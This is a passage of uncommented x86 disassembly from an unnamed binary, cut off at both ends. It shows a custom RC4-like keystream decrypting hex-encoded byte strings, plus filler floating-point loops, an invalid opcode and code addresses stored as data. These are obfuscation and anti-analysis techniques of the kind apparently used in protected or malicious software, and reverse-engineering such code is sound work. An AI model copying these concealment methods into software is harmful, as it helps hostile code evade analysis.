movzx edx, byte [ebp - 0x19e]
movzx eax, byte [ebp - 0x1b0]
mov cl, byte [ebp + edx - 0x1454]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x19f]
movzx eax, byte [ebp - 0x19e]
mov cl, byte [ebp + edx - 0x1454]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x195]
movzx eax, byte [ebp - 0x19f]
mov cl, byte [ebp + edx - 0x1454]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x195]
mov al, byte [ebp - 0x1cf]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x1cf]
movzx edx, byte [ebp + ecx - 0x1454]
movzx eax, byte [ebp - 0x1d0]
add eax, edx
mov byte [ebp - 0x1d0], al
movzx ecx, byte [ebp - 0x1d1]
movzx edx, byte [ebp - 0x19e]
movzx eax, byte [ebp + edx - 0x1454]
movzx edx, byte [ebp - 0x195]
movzx edx, byte [ebp + edx - 0x1454]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1454]
xor ecx, eax
movzx edx, byte [ebp - 0x19f]
movzx eax, byte [ebp + edx - 0x1454]
movzx edx, byte [ebp - 0x1b0]
movzx edx, byte [ebp + edx - 0x1454]
add eax, edx
movzx edx, byte [ebp - 0x1d0]
movzx edx, byte [ebp + edx - 0x1454]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1454]
movzx edx, byte [ebp + eax - 0x1454]
xor ecx, edx
mov byte [ebp - 0x19f], cl
mov al, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], al
mov cl, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], cl
cmp dword [ebp - 0x21c], 0
jle 0x47abb5
movsx dx, byte [ebp - 0x1e7]
mov eax, dword [ebp - 0x21c]
mov word [ebp + eax*2 - 0xee], dx
mov ecx, dword [ebp - 0x21c]
add ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x31c]
add edx, 1
mov dword [ebp - 0x31c], edx
mov eax, dword [ebp - 0x21c]
shl eax, 1
mov dword [ebp - 0x510], eax
mov ecx, dword [ebp - 0x514]
add ecx, dword [ebp - 0x510]
movzx edx, byte [ecx]
mov dword [ebp - 0x4bc], edx
mov dword [ebp - 0x4c0], 0x12
mov eax, dword [ebp - 0x21c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x508], ecx
mov edx, dword [ebp - 0x514]
add edx, dword [ebp - 0x508]
movzx eax, byte [edx]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c8], 0x37
mov ecx, dword [ebp - 0x4bc]
sub ecx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], ecx
mov edx, dword [ebp - 0x4c4]
sub edx, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], edx
mov eax, dword [ebp - 0x4cc]
shl eax, 4
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x554], ecx
mov edx, dword [ebp - 0x538]
or edx, dword [ebp - 0x554]
mov dword [ebp - 0x558], edx
mov al, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], al
movzx ecx, byte [ebp - 0x1b0]
mov dl, byte [ebp + ecx - 0x1454]
mov byte [ebp - 0x1cf], dl
movzx eax, byte [ebp - 0x195]
movzx ecx, byte [ebp + eax - 0x1454]
mov dword [ebp - 0x19e4], ecx
mov dl, byte [ebp - 0x195]
add dl, 1
mov byte [ebp - 0x195], dl
movzx eax, byte [ebp - 0x19e]
add eax, dword [ebp - 0x19e4]
mov byte [ebp - 0x19e], al
movzx ecx, byte [ebp - 0x19e]
movzx edx, byte [ebp - 0x1b0]
mov al, byte [ebp + ecx - 0x1454]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x19f]
movzx edx, byte [ebp - 0x19e]
mov al, byte [ebp + ecx - 0x1454]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x195]
movzx edx, byte [ebp - 0x19f]
mov al, byte [ebp + ecx - 0x1454]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x195]
mov dl, byte [ebp - 0x1cf]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x1cf]
movzx ecx, byte [ebp + eax - 0x1454]
movzx edx, byte [ebp - 0x1d0]
add edx, ecx
mov byte [ebp - 0x1d0], dl
movzx eax, byte [ebp - 0x1d1]
movzx ecx, byte [ebp - 0x19e]
movzx edx, byte [ebp + ecx - 0x1454]
movzx ecx, byte [ebp - 0x195]
movzx ecx, byte [ebp + ecx - 0x1454]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1454]
xor eax, edx
movzx ecx, byte [ebp - 0x19f]
movzx edx, byte [ebp + ecx - 0x1454]
movzx ecx, byte [ebp - 0x1b0]
movzx ecx, byte [ebp + ecx - 0x1454]
add edx, ecx
movzx ecx, byte [ebp - 0x1d0]
movzx ecx, byte [ebp + ecx - 0x1454]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1454]
movzx ecx, byte [ebp + edx - 0x1454]
xor eax, ecx
mov byte [ebp - 0x19f], al
mov dl, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], dl
mov al, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], al
cmp dword [ebp - 0x21c], 0
jle 0x47ae1a
movsx cx, byte [ebp - 0x1e7]
mov edx, dword [ebp - 0x21c]
mov word [ebp + edx*2 - 0xee], cx
mov eax, dword [ebp - 0x31c]
add eax, 3
mov dword [ebp - 0x31c], eax
mov ecx, dword [ebp - 0x21c]
add ecx, 1
mov dword [ebp - 0xda8], ecx
jmp 0x47ae49
mov edx, dword [ebp - 0xda8]
add edx, 1
mov dword [ebp - 0xda8], edx
mov eax, dword [ebp - 0xda8]
cmp eax, dword [ebp - 0x31c]
jge 0x47b0b6
mov ecx, dword [ebp - 0x21c]
add ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x21c]
shl edx, 1
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x510]
movzx ecx, byte [eax]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], 0x12
mov edx, dword [ebp - 0x21c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x514]
add ecx, dword [ebp - 0x508]
movzx edx, byte [ecx]
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c8], 0x37
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x4cc]
shl edx, 4
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x538]
or ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov dl, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], dl
movzx eax, byte [ebp - 0x1b0]
mov cl, byte [ebp + eax - 0x1454]
mov byte [ebp - 0x1cf], cl
movzx edx, byte [ebp - 0x195]
movzx eax, byte [ebp + edx - 0x1454]
mov dword [ebp - 0x19e8], eax
mov cl, byte [ebp - 0x195]
add cl, 1
mov byte [ebp - 0x195], cl
movzx edx, byte [ebp - 0x19e]
add edx, dword [ebp - 0x19e8]
mov byte [ebp - 0x19e], dl
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp - 0x1b0]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp - 0x19e]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
movzx ecx, byte [ebp - 0x19f]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
mov cl, byte [ebp - 0x1cf]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x1cf]
movzx eax, byte [ebp + edx - 0x1454]
movzx ecx, byte [ebp - 0x1d0]
add ecx, eax
mov byte [ebp - 0x1d0], cl
movzx edx, byte [ebp - 0x1d1]
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x195]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
xor edx, ecx
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x1b0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
movzx eax, byte [ebp - 0x1d0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
movzx eax, byte [ebp + ecx - 0x1454]
xor edx, eax
mov byte [ebp - 0x19f], dl
mov cl, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], cl
mov dl, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], dl
cmp dword [ebp - 0x21c], 0
jle 0x47b0b1
movsx ax, byte [ebp - 0x1e7]
mov ecx, dword [ebp - 0x21c]
mov word [ebp + ecx*2 - 0xee], ax
jmp 0x47ae3a
mov edx, dword [ebp - 0x31c]
add edx, 1
mov dword [ebp - 0x31c], edx
mov eax, dword [ebp - 0x21c]
add eax, 1
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x31c]
add ecx, 1
mov dword [ebp - 0x31c], ecx
mov edx, dword [ebp - 0x21c]
shl edx, 1
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x510]
movzx ecx, byte [eax]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], 0x12
mov edx, dword [ebp - 0x21c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x514]
add ecx, dword [ebp - 0x508]
movzx edx, byte [ecx]
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c8], 0x37
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x4cc]
shl edx, 4
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x538]
or ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov dl, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], dl
movzx eax, byte [ebp - 0x1b0]
mov cl, byte [ebp + eax - 0x1454]
mov byte [ebp - 0x1cf], cl
movzx edx, byte [ebp - 0x195]
movzx eax, byte [ebp + edx - 0x1454]
mov dword [ebp - 0x19ec], eax
mov cl, byte [ebp - 0x195]
add cl, 1
mov byte [ebp - 0x195], cl
movzx edx, byte [ebp - 0x19e]
add edx, dword [ebp - 0x19ec]
mov byte [ebp - 0x19e], dl
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp - 0x1b0]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp - 0x19e]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
movzx ecx, byte [ebp - 0x19f]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
mov cl, byte [ebp - 0x1cf]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x1cf]
movzx eax, byte [ebp + edx - 0x1454]
movzx ecx, byte [ebp - 0x1d0]
add ecx, eax
mov byte [ebp - 0x1d0], cl
movzx edx, byte [ebp - 0x1d1]
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x195]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
xor edx, ecx
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x1b0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
movzx eax, byte [ebp - 0x1d0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
movzx eax, byte [ebp + ecx - 0x1454]
xor edx, eax
mov byte [ebp - 0x19f], dl
mov cl, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], cl
mov dl, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], dl
cmp dword [ebp - 0x21c], 0
jle 0x47b32a
movsx ax, byte [ebp - 0x1e7]
mov ecx, dword [ebp - 0x21c]
mov word [ebp + ecx*2 - 0xee], ax
mov edx, 2
imul eax, edx, 0xb
mov dword [ebp - 0xfac], eax
cmp dword [ebp - 0xfac], 0x18
jae 0x47b343
jmp 0x47b349
call fcn.0051c285
nop
xor ecx, ecx
mov edx, dword [ebp - 0xfac]
mov word [ebp + edx - 0xec], cx
jmp 0x47b3b0
mov dword [ebp - 0xc68], 0
jmp 0x47b376
mov eax, dword [ebp - 0xc68]
add eax, 1
mov dword [ebp - 0xc68], eax
cmp dword [ebp - 0xc68], 0xc
jge 0x47b3b0
mov ecx, dword [ebp - 0xc68]
shl ecx, 1
mov dword [ebp - 0xfc0], ecx
cmp dword [ebp - 0xfc0], 0x18
jae 0x47b398
jmp 0x47b39e
call fcn.0051c285
nop
xor edx, edx
mov eax, dword [ebp - 0xfc0]
mov word [ebp + eax - 0xec], dx
jmp 0x47b367
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc08], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb6c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb6c], xmm0
jmp 0x47b3ff
movsd xmm0, qword [ebp - 0xb6c]
addsd xmm0, qword [0x580ab8]
movsd qword [ebp - 0xb6c], xmm0
movsd xmm0, qword [0x582218]
comisd xmm0, xmmword [ebp - 0xb6c]
jbe 0x47b4b0
movsd xmm0, qword [0x582040]
mulsd xmm0, qword [ebp - 0xb6c]
mulsd xmm0, qword [ebp - 0xb6c]
movsd xmm1, qword [ebp - 0xb6c]
mulsd xmm1, qword [ebp - 0xb6c]
subsd xmm0, xmm1
movsd xmm1, qword [0x581e80]
mulsd xmm1, qword [ebp - 0xb6c]
mulsd xmm1, qword [ebp - 0xb6c]
addsd xmm1, qword [0x581f00]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc08]
movsd qword [ebp - 0xc08], xmm0
movsd xmm0, qword [ebp - 0xc08]
comisd xmm0, xmmword [0x581f90]
jbe 0x47b4ab
movsd xmm0, qword [0x581df8]
mulsd xmm0, qword [ebp - 0xb6c]
movsd xmm1, qword [ebp - 0xc08]
subsd xmm1, xmm0
movsd qword [ebp - 0xc08], xmm1
jmp 0x47b3e7
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc08]
jbe 0x47b4f8
invalid
mov dword [ebp - 0x178], 0x47b4bd
mov dword [ebp - 0x17c], 0x47b4d7
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0x36c], ecx
mov edx, dword [ebp - 0x17c]
mov dword [ebp - 0x19f0], edx
mov byte [ebp - 0x75e], 0x20
mov dword [ebp - 0x43c], 0
jmp 0x47b546
mov eax, dword [ebp - 0x43c]
add eax, 1
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x100
jae 0x47b567
mov ecx, dword [ebp - 0x43c]
mov dl, byte [ebp - 0x43c]
mov byte [ebp + ecx - 0xf4c], dl
jmp 0x47b537
mov dword [ebp - 0xa60], 0
mov byte [ebp - 0x1f9], 0
mov dword [ebp - 0x43c], 0xff
jmp 0x47b593
mov eax, dword [ebp - 0x43c]
sub eax, 1
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
jbe 0x47b803
mov dword [ebp - 0xd90], 0
mov dword [ebp - 0xc6c], 1
mov ecx, dword [ebp - 0xc6c]
cmp ecx, dword [ebp - 0x43c]
jae 0x47b5d4
mov edx, dword [ebp - 0xc6c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0xc6c], eax
jmp 0x47b5b4
mov ecx, dword [ebp - 0xa60]
mov dword [ebp - 0xfc4], ecx
cmp dword [ebp - 0xfc4], 3
ja case.default.0x47b5f3
mov edx, dword [ebp - 0xfc4]
jmp dword [edx*4 + 0x4950e4]
movzx eax, byte [ebp - 0x1f9]
movzx ebx, byte [ebp + eax - 0xf4c]
movsd xmm0, qword [ebp - 0xc08]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1f9], bl
jmp 0x47b6dc
movzx ecx, byte [ebp - 0x1f9]
movzx ebx, byte [ebp + ecx - 0xf4c]
movsd xmm0, qword [ebp - 0xc08]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1f9], bl
jmp 0x47b6dc
movzx edx, byte [ebp - 0x1f9]
movzx ebx, byte [ebp + edx - 0xf4c]
movsd xmm0, qword [ebp - 0xc08]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1f9], bl
jmp 0x47b6dc
movzx eax, byte [ebp - 0x1f9]
movzx ebx, byte [ebp + eax - 0xf4c]
movsd xmm0, qword [ebp - 0xc08]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1f9], bl
jmp 0x47b6dc
movzx ecx, byte [ebp - 0x1f9]
movzx edx, byte [ebp + ecx - 0xf4c]
mov eax, dword [ebp - 0x19f0]
add eax, dword [ebp - 0xa60]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x1f9], dl
mov edx, dword [ebp - 0xa60]
add edx, 1
mov dword [ebp - 0xa60], edx
movzx eax, byte [ebp - 0x75e]
cmp dword [ebp - 0xa60], eax
jb 0x47b71a
mov dword [ebp - 0xa60], 0
movzx ecx, byte [ebp - 0x75e]
movzx edx, byte [ebp - 0x1f9]
add edx, ecx
mov byte [ebp - 0x1f9], dl
movzx eax, byte [ebp - 0x1f9]
and eax, dword [ebp - 0xc6c]
mov dword [ebp - 0x904], eax
mov ecx, dword [ebp - 0xd90]
add ecx, 1
mov dword [ebp - 0xd90], ecx
cmp dword [ebp - 0xd90], 0xb
jbe 0x47b759
mov eax, dword [ebp - 0x904]
xor edx, edx
div dword [ebp - 0x43c]
mov dword [ebp - 0x904], edx
mov edx, dword [ebp - 0x904]
cmp edx, dword [ebp - 0x43c]
ja 0x47b5d4
mov eax, dword [ebp - 0x43c]
cmp eax, dword [ebp - 0x904]
je 0x47b7fe
mov ecx, dword [ebp - 0x904]
movzx edx, byte [ebp + ecx - 0xf4c]
mov eax, dword [ebp - 0x43c]
movzx ecx, byte [ebp + eax - 0xf4c]
xor ecx, edx
mov edx, dword [ebp - 0x43c]
mov byte [ebp + edx - 0xf4c], cl
mov eax, dword [ebp - 0x43c]
movzx ecx, byte [ebp + eax - 0xf4c]
mov edx, dword [ebp - 0x904]
movzx eax, byte [ebp + edx - 0xf4c]
xor eax, ecx
mov ecx, dword [ebp - 0x904]
mov byte [ebp + ecx - 0xf4c], al
mov edx, dword [ebp - 0x904]
movzx eax, byte [ebp + edx - 0xf4c]
mov ecx, dword [ebp - 0x43c]
movzx edx, byte [ebp + ecx - 0xf4c]
xor edx, eax
mov eax, dword [ebp - 0x43c]
mov byte [ebp + eax - 0xf4c], dl
jmp 0x47b584
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x18d], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x191], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x1b2], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x192], dl
movzx eax, byte [ebp - 0x1f9]
mov cl, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1a1], cl
mov dword [ebp - 0xfd8], 0x1a
cmp dword [ebp - 0xfd8], 2
jle 0x47eafd
mov edx, dword [ebp - 0xfd8]
and edx, 1
jne 0x47eafd
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x2c8]
add eax, 1
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x368], 0
mov ecx, dword [ebp - 0x1f8]
shl ecx, 1
mov dword [ebp - 0x368], ecx
mov dword [ebp - 0x334], 0
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x368]
movzx eax, byte [edx]
add eax, dword [ebp - 0x334]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x344], 0
mov ecx, dword [ebp - 0x344]
add ecx, 0xc4
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x370], 0
mov edx, dword [ebp - 0x1f8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x348], 0
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x370]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x348]
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x34c]
add eax, 0xab
mov dword [ebp - 0x34c], eax
mov dword [ebp - 0x350], 0
mov ecx, dword [ebp - 0x334]
sub ecx, dword [ebp - 0x344]
add ecx, dword [ebp - 0x350]
mov dword [ebp - 0x350], ecx
mov dword [ebp - 0x354], 0
mov edx, dword [ebp - 0x348]
sub edx, dword [ebp - 0x34c]
add edx, dword [ebp - 0x354]
mov dword [ebp - 0x354], edx
mov dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x350]
shl eax, 4
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x378], 0
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x37c], 0
mov edx, dword [ebp - 0x374]
or edx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], edx
mov byte [ebp - 0x1b3], 0
mov al, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], al
mov byte [ebp - 0x1b1], 0
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x1b1], dl
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp + eax - 0xf4c]
mov dword [ebp - 0x19f4], ecx
mov dl, byte [ebp - 0x18d]
add dl, 1
mov byte [ebp - 0x18d], dl
movzx eax, byte [ebp - 0x191]
add eax, dword [ebp - 0x19f4]
mov byte [ebp - 0x191], al
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp - 0x191]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp - 0x192]
mov al, byte [ebp + ecx - 0xf4c]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x18d]
mov dl, byte [ebp - 0x1b1]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x1b1]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp - 0x1b2]
add edx, ecx
mov byte [ebp - 0x1b2], dl
movzx eax, byte [ebp - 0x1b3]
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x18d]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
xor eax, edx
movzx ecx, byte [ebp - 0x192]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp - 0x1a1]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
movzx ecx, byte [ebp - 0x1b2]
movzx ecx, byte [ebp + ecx - 0xf4c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp + edx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0x192], al
mov dl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], dl
mov al, byte [ebp - 0x192]
mov byte [ebp - 0x1db], al
cmp dword [ebp - 0x1f8], 0
jle 0x47bb9e
movsx cx, byte [ebp - 0x1db]
mov edx, dword [ebp - 0x1f8]
mov word [ebp + edx*2 - 0xc6], cx
mov eax, dword [ebp - 0x1f8]
add eax, 1
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x2c8]
add ecx, 1
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1f8]
shl edx, 1
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x368]
movzx ecx, byte [eax]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x344], 0xc4
mov edx, dword [ebp - 0x1f8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x370]
movzx edx, byte [ecx]
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x34c], 0xab
mov eax, dword [ebp - 0x334]
sub eax, dword [ebp - 0x344]
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x348]
sub ecx, dword [ebp - 0x34c]
mov dword [ebp - 0x354], ecx
mov edx, dword [ebp - 0x350]
shl edx, 4
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x374]
or ecx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], ecx
mov dl, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], dl
movzx eax, byte [ebp - 0x1a1]
mov cl, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1b1], cl
movzx edx, byte [ebp - 0x18d]
movzx eax, byte [ebp + edx - 0xf4c]
mov dword [ebp - 0x19f8], eax
mov cl, byte [ebp - 0x18d]
add cl, 1
mov byte [ebp - 0x18d], cl
movzx edx, byte [ebp - 0x191]
add edx, dword [ebp - 0x19f8]
mov byte [ebp - 0x191], dl
movzx eax, byte [ebp - 0x191]
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x192]
movzx ecx, byte [ebp - 0x191]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp - 0x192]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x18d]
mov cl, byte [ebp - 0x1b1]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x1b1]
movzx eax, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp - 0x1b2]
add ecx, eax
mov byte [ebp - 0x1b2], cl
movzx edx, byte [ebp - 0x1b3]
movzx eax, byte [ebp - 0x191]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx eax, byte [ebp - 0x18d]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor edx, ecx
movzx eax, byte [ebp - 0x192]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx eax, byte [ebp - 0x1a1]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
movzx eax, byte [ebp - 0x1b2]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx eax, byte [ebp + ecx - 0xf4c]
xor edx, eax
mov byte [ebp - 0x192], dl
mov cl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], cl
mov dl, byte [ebp - 0x192]
mov byte [ebp - 0x1db], dl
cmp dword [ebp - 0x1f8], 0
jle 0x47be03
movsx ax, byte [ebp - 0x1db]
mov ecx, dword [ebp - 0x1f8]
mov word [ebp + ecx*2 - 0xc6], ax
movsd xmm0, qword [0x5825d8]
movsd qword [ebp - 0xe44], xmm0
movsd xmm0, qword [0x5824d8]
movsd qword [ebp - 0x1dd8], xmm0
movsd xmm0, qword [0x582428]
movsd qword [ebp - 0xe4c], xmm0
movsd xmm0, qword [0x582348]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [0x582220]
movsd qword [ebp - 0xa8c], xmm0
movsd xmm0, qword [0x5820c0]
movsd qword [ebp - 0x98c], xmm0
movsd xmm0, qword [ebp - 0xa8c]
mulsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa8c], xmm0
movsd xmm0, qword [ebp - 0xa8c]
subsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa8c], xmm0
